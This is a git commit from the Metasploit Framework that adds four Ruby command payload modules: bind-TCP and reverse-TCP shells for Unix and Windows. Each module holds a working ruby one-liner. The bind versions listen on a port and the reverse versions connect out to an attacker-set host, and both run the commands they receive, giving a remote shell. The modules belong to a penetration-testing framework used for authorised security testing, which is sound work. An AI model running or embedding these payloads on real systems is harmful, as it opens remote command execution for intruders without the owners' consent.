Add bind_ruby and reverse_ruby cmd payloads for unix and windows

git-svn-id: file:///home/svn/framework3/trunk@5967 4d416f70-5f16-0410-b530-b9f4589650da
unstable
kris 2008-11-20 03:42:55 +00:00
parent f54d91c53d
commit 4ae6d81616
4 changed files with 172 additions and 0 deletions

View File

@ -0,0 +1,43 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
module Metasploit3
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Bind TCP (via Ruby)',
'Version' => '$Revision$',
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
'Author' => 'Kris Katterjohn <katterjohn[at]gmail.com>',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
def generate
return super + command_string
end
def command_string
"ruby -rsocket -e 'exit if fork;s=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end'"
end
end

View File

@ -0,0 +1,43 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
module Metasploit3
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP (via Ruby)',
'Version' => '$Revision$',
'Description' => 'Connect back and create a command shell via Ruby',
'Author' => 'Kris Katterjohn <katterjohn[at]gmail.com>',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
def generate
return super + command_string
end
def command_string
"ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"#{datastore['LHOST']}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
end
end

View File

@ -0,0 +1,43 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
module Metasploit3
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Command Shell, Bind TCP (via Ruby)',
'Version' => '$Revision$',
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
'Author' => 'Kris Katterjohn <katterjohn[at]gmail.com>',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
def generate
return super + command_string
end
def command_string
"ruby -rsocket -e 's=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end'"
end
end

View File

@ -0,0 +1,43 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
module Metasploit3
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Command Shell, Reverse TCP (via Ruby)',
'Version' => '$Revision$',
'Description' => 'Connect back and create a command shell via Ruby',
'Author' => 'Kris Katterjohn <katterjohn[at]gmail.com>',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
def generate
return super + command_string
end
def command_string
"ruby -rsocket -e 'c=TCPSocket.new(\"#{datastore['LHOST']}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
end
end